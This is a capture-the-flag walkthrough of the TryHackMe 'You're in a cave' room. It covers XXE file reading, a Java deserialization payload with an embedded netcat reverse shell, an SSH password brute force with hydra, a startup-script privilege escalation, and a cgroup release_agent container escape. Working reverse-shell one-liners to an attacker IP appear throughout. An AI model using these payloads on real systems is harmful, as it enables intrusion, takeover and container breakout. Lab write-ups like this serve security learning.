You're in a cave

Reconnaissance

This is one of the few insane difficulty rooms in tryhackme, so I'm pretty hyped for it.

Let's do a quick NMAP scan and see what that brings us.

NMAP output
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-29 18:48 CET
Warning: 10.10.138.71 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.138.71
Host is up (0.041s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Document
|_http-server-header: Apache/2.4.41 (Ubuntu)
2222/tcp open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 79:16:b1:ce:e1:16:79:b4:f1:c7:1f:09:05:b7:75:58 (RSA)
|   256 35:60:6e:3b:a8:ac:4a:6a:76:42:3d:59:13:04:90:19 (ECDSA)
|_  256 79:a6:05:ca:84:32:dc:59:b4:9b:8b:30:95:34:00:c8 (ED25519)
3333/tcp open  dec-notes?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, NULL, RPCCheck, SMBProgNeg, X11Probe, kumo-server:
|     You find yourself in a cave, what do you do?
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     You find yourself in a cave, what do you do?
|_    Nothing happens

So looks like we have a web app on port 80, an SSH service on port 2222 and some unknown service on port 3333, let's start with the web app first and see what we can do.

Going on the root directory of the website we are given a form to input something that's asking "What do you do?", trying some combinations always redirects to /action.php and code 400, so maybe we can bruteforce it later.

Let's throw a gobuster scan to see if there's anything else to look at first.

gobuster dir -w ~/common.txt --url http://10.10.138.71 -t 25
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.138.71
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /home/max/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/12/29 18:58:57 Starting gobuster in directory enumeration mode
===============================================================
/search               (Status: 200) [Size: 197]
/attack               (Status: 200) [Size: 181]
/lamp                 (Status: 200) [Size: 261]
/matches              (Status: 200) [Size: 249]
/walk                 (Status: 200) [Size: 161]

===============================================================
2021/12/29 19:00:14 Finished
===============================================================

So now we have a list of directories that look like actions, let's move to the scanning part.

Scanning

So going to all these directories and decoding the B64 strings it shows us, it brings a response like we would be playing a RPG game with these commands.

Interestingly, using netcat to connect to port 3333 and inputting these commands brings us the same result.

max@1337 ~> nc 10.10.138.71 3333
You find yourself in a cave, what do you do?
search
You can't see anything, the cave is very dark.

max@1337 ~> nc 10.10.138.71 3333
You find yourself in a cave, what do you do?
attack
You punch the wall, nothing happens.

max@1337 ~> nc 10.10.138.71 3333
You find yourself in a cave, what do you do?
lamp
You grab a lamp, and it gives enough light to search around
Action.class
RPG.class
RPG.java
Serialize.class
commons-io-2.7.jar
run.sh

max@1337 ~> nc 10.10.138.71 3333
You find yourself in a cave, what do you do?
matches
You find a box of matches, it gives enough fire for you to see that you're in /home/cave/src.

max@1337 ~> nc 10.10.138.71 3333
You find yourself in a cave, what do you do?
walk
There's nowhere to go.

Interesting, so we are in the home directory of user cave and we have all those files.

Let's go back to the form field in the root directory of the webpage.

Exploiting

So inputting anything on the form field, we are granted with a 400 status code, which means it's a bad request. Let's try some manual payloads with Burp Suite and see if we can find something.

So after trying some changes, looks like changing content-type to application/xml is what fixes it. Now that can mean we are supposed to do some XXE injection, specially because we already have the names of the files from port 3333.

Finally a payload that works, now we can read the files that we were given the names of.

RPG.java
public class RPG {

    private static final int port = 3333;
    private static Socket connectionSocket;

    private static InputStream is;
    private static OutputStream os;

    private static Scanner scanner;
    private static PrintWriter serverPrintOut;
    public static void main(String[] args) {
        try ( ServerSocket serverSocket = new ServerSocket(port)) {
            while (true) {
                connectionSocket = serverSocket.accept();

                is = connectionSocket.getInputStream();
                os = connectionSocket.getOutputStream();

                scanner = new Scanner(is, "UTF-8");
                serverPrintOut = new PrintWriter(new OutputStreamWriter(os, "UTF-8"), true);
                try {
                    serverPrintOut.println("You find yourself in a cave, what do you do?");
                    String s = scanner.nextLine();
                    URL url = new URL("http://cave.thm/" + s);
                    URLConnection con = url.openConnection();
                    InputStream in = con.getInputStream();
                    String encoding = con.getContentEncoding();
                    encoding = encoding == null ? "UTF-8" : encoding;
                    String string = IOUtils.toString(in, encoding);
                    string = string.replace("\n", "").replace("\r", "").replace(" ", "");
                    Action action = (Action) Serialize.fromString(string);
                    action.action();
                    serverPrintOut.println(action.output);
                } catch (Exception ex) {
                    serverPrintOut.println("Nothing happens");
                }
                connectionSocket.close();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

class Action implements Serializable {

    public final String name;
    public final String command;
    public String output = "";

    public Action(String name, String command) {
        this.name = name;
        this.command = command;
    }

    public void action() throws IOException, ClassNotFoundException {
        String s = null;
        String[] cmd = {
            "/bin/sh",
            "-c",
            "echo \'" + this.command + "\'"
        };
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String result = "";
        while ((s = stdInput.readLine()) != null) {
            result += s + "\n";
        }
        this.output = result;
    }
}

class Serialize {

    /**
     * Read the object from Base64 string.
     */
    public static Object fromString(String s) throws IOException,
            ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(s);
        ObjectInputStream ois = new ObjectInputStream(
                new ByteArrayInputStream(data));
        Object o = ois.readObject();
        ois.close();
        return o;
    }

    /**
     * Write the object to a Base64 string.
     */
    public static String toString(Serializable o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }
}

So it looks like it's serializing the input, sending it to "http://cave.thm/" + String input and deserializing it, and finally executing it with /bin/sh -c "input". So that does look like a way to get a reverse shell.

First thing we need is a serialized object, so let's use the very same java code for that, and then we will pass it to the service running in port 3333 so it will send it back to the server, deserialize and execute our command.

So first thing we need is the java code to serialize the object for us and give us the string we need to input.

Use this website if you don't want to install Eclipse.
import java.util.*;
import java.io.*;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.util.Scanner;
import java.util.logging.Level;
import java.util.logging.Logger;

public class RPG {

    private static final int port = 3333;
    private static Socket connectionSocket;

    private static InputStream is;
    private static OutputStream os;

    private static Scanner scanner;
    private static PrintWriter serverPrintOut;
    public static void main(String[] args) {
        try{
            String str = Serialize.toString( new Action("123","trying\'';rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.208.63 1337 >/tmp/f;echo \'") );
            System.out.println( "123 : " + str );
        }catch(Exception e){
            System.out.println("123");
        }
    }
}

class Action implements Serializable {

    public final String name;
    public final String command;
    public String output = "";

    public Action(String name, String command) {
        this.name = name;
        this.command = command;
    }

    public void action() throws IOException, ClassNotFoundException {
        String s = null;
        String[] cmd = {
            "/bin/sh",
            "-c",
            "echo \'" + this.command + "\'"
        };
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String result = "";
        while ((s = stdInput.readLine()) != null) {
            result += s + "\n";
        }
        this.output = result;
    }
}

class Serialize {

    /**
     * Read the object from Base64 string.
     */
    public static Object fromString(String s) throws IOException,
            ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(s);
        ObjectInputStream ois = new ObjectInputStream(
                new ByteArrayInputStream(data));
        Object o = ois.readObject();
        ois.close();
        return o;
    }

    /**
     * Write the object to a Base64 string.
     */
    public static String toString(Serializable o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }
}

That will do the trick, remember to modify it with your IP and Port

max@1337 ~> nc 10.10.138.71 3333
You find yourself in a cave, what do you do?
action.php?<xml>rO0ABXNyAAZBY3Rpb275vE3ugB8ZOwIAA0wAB2NvbW1hbmR0ABJMamF2YS9sYW5nL1N0cmluZztMAARuYW1lcQB%2bAAFMAAZvdXRwdXRxAH4AAXhwdABddHJ5aW5nIjtybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC44LjIwOC42MyAxMzM3ID4vdG1wL2Y7ZWNobyAidAADYWJjdAAA</xml>
max@1337 ~> nc -lvp 1337
Connection from 10.10.138.71:58506
/bin/sh: 0: can't access tty; job control turned off
$ 

Finally we can continue, going to the home directory of the user we just hacked brings us this.

cave@cave:~$ cat info.txt
cat info.txt
After getting information from external entities, you saw that one part of the wall was different from the rest, when touching it, it revealed a wooden door without a keyhole.
On the door it is carved the following statement:

              The password is in
        ^ed[h#f]{3}[123]{1,2}xf[!@#*]$

Privilege Escalation

So finally we have the first flag and have the privileges of user "cave", reading the txt file we can get a regex and looks like we will have to bruteforce user "door" (from reading /etc/passwd and the context of the text file). So perhaps a wordlist made with valid phrases from that regex is what we are looking for.

After a while I found this tool, which looks like it could help us.

max@1337 ~> python3 wordlist.py -o passwords.txt '^ed[h#f]{3}[123]{1,2}xf[!@#*]$'
max@1337 ~> hydra -l door -P passwords.txt 10.10.138.71 ssh -s 2222 -t 60 -I
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-29 20:17:33
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 60 tasks per 1 server, overall 60 tasks, 1296 login tries (l:1/p:1296), ~22 tries per task
[DATA] attacking ssh://10.10.138.71:2222/
[STATUS] 712.00 tries/min, 712 tries in 00:01h, 703 to do in 00:01h, 60 active
[2222][ssh] host: 10.10.138.71   login: door   password: edfh#22xf!

Perfect, so now we are in as user door, reading the text file in his home directory gives us this

After using your brute force against the door you broke it!
You can see that the cave has only one way, in your right you see an old man speaking in charades and in front of you there's a fully armed skeleton.
It looks like the skeleton doesn't want to let anyone pass through.

And executing the skeleton binary shows this

You cannot defeat the skeleton with your current items, your inventory is empty.

That reminded me of lamp directory, which gave us an encoded string that decoded to this.

You grab a lamp, and it gives enough light to search around `ls;export INVENTORY=lamp:$INVENTORY`tlampt

Sadly "echo $INVENTORY" doesn't show anything yet.

After a lot of enumerating afterwards, I discovered a directory in /var/www called adventurer created by www-html, perhaps hinting at a subdomain, so let's add "adventurer.cave.thm" to our /etc/hosts and check if there's anything interesting.

Indeed there's a file with a private bgp key, just what we needed for our encrypted message in oldman.gpg

It asks for passphrase, so after a lot more enumerating, the password is hidden inside the info.txt and only shows when you edit it with a text editor like nano. Having that, let's finally decode the message

max@1337 ~/cave [2]> gpg --import adventurer.priv
gpg: key -: "adventurer [adventurer@cave.com]" not changed
gpg: key -: secret key imported
gpg: Total number processed: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
max@1337 ~/cave> gpg --output message --no-tty message.gpg
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: encrypted with 3072-bit RSA key, ID -, created 2020-08-26
      "adventurer [adventurer@cave.com]"
max@1337 ~/cave> cat message
IT'S DANGEROUS TO GO ALONE! TAKE THIS bone-breaking-war-hammer
max@1337 ~/cave>

Finally we have something to keep going, let's go back to the skeleton binary.

door@cave:~$ export INVENTORY=bone-breaking-war-hammer
door@cave:~$ echo $INVENTORY
bone-breaking-war-hammer
door@cave:~$ ./skeleton
skeleton:sp00kyscaryskeleton
door@cave:~$ su skeleton
Password:
skeleton@cave:/home/door$

Perfect, from reading /etc/shadow before looks like this is the last step before root, so let's get to the final prize.

"sudo -l" shows perms to execute /bin/kill as root, but there's no entry in GTFOBins for that, so perhaps we need to do some custom exploiting to make it work.

After more enumerating ,there's a file in /opt/link called startcon that look interesting, moving it to /tmp shows its content

#!/bin/bash

service ssh start
service apache2 start
su - cave -c "cd /home/cave/src; ./run.sh"

/bin/bash

So it looks like something that executes at start, and we can edit it, so let's add a reverse shell payload to it. After enumerating even more, found out we are inside a container, which means this we will have to kill processes until container restarts and we our magic reverse shell payload executes.

nc -lvp 1338

skeleton@cave:/tmp$ sudo /bin/kill -9 48
skeleton@cave:/tmp$ sudo /bin/kill -9 1
skeleton@cave:/tmp$ sudo /bin/kill -9 169
skeleton@cave:/tmp$ sudo /bin/kill -9 73

Connection from 10.10.138.71:42820
root@cave:/#

Finally rooted, but remember we are inside a container, so we still need to escape it.

root@cave:~# cat info.txt
cat info.txt
You were analyzing the invisible wall and after some time, you could see your reflection in the corner of the wall.
But it wasn't just like a mirror, your reflection could interact with the real world, there was a link between you two!
And then you used your reflection to grab a little piece of the root of the tree and you stuck it in the wall with all your might.
You could feel the cave rumbling, like it was the end for you and then all went black.
But after some time, you woke up in the same place you were before, but now there was no invisible wall to stop you from getting in the root.

You are in the root of a huge tree, but your quest isn't over, you still feel ... contained, inside this cave.

Flag:THM{no_wall_can_stop_me}

So I have a bit of experience with container escapes, one of the first payloads I wanted to try is this one, since it looks like we have all the pre requirements, so let's get to it and see if it works.

max@1337 ~/cave> nc -lvp 1338
Connection from 10.10.33.38:43096
root@cave:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
r /tmp/cgrp/xrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir
root@cave:/# echo 1 > /tmp/cgrp/x/notify_on_release
echo 1 > /tmp/cgrp/x/notify_on_release
root@cave:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@cave:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo "$host_path/cmd" > /tmp/cgrp/release_agent
root@cave:/# echo '#!/bin/sh' > /cmd
echo '#!/bin/sh' > /cmd
root@cave:/# echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.208.63 1339 >/tmp/f" >> /cmd
8.63 1339 >/tmp/f" >> /cmdp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.208
root@cave:/# chmod a+x /cmd
chmod a+x /cmd
root@cave:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@cave:/# exit
max@1337 ~ [255]> nc -lvp 1339
Connection from 10.10.33.38:33730
/bin/sh: 0: can't access tty; job control turned off
# cd /root
# ls
info.txt
snap
# cat root.txt
cat: root.txt: No such file or directory
# cat info.txt
You were looking at the tree and it was clearly magical, but you could see that the farther you went from the root, the weaker the magical energy.
So the energy was clearly coming from the bottom, so you saw that the soil was soft, different from the rest of the cave, so you dug down.
After digging for some time, you realized that the root stopped getting thinner, in fact it was getting thicker and thicker.
Suddently the gravity started changing and you grabbed the nearest thing you could get a hold of, now what was up was down.
And when you looked up you saw the same tree, but now you can see the sun, you're finally in the outside.

Flag:THM{digging_down_then_digging_up}

Finally we hacked it, honestly I think this machine deserves the insane rating, took me a total of 4 hours with so much enumerating, but I have to say it's worth as it was so fun. Hope you enjoyed it!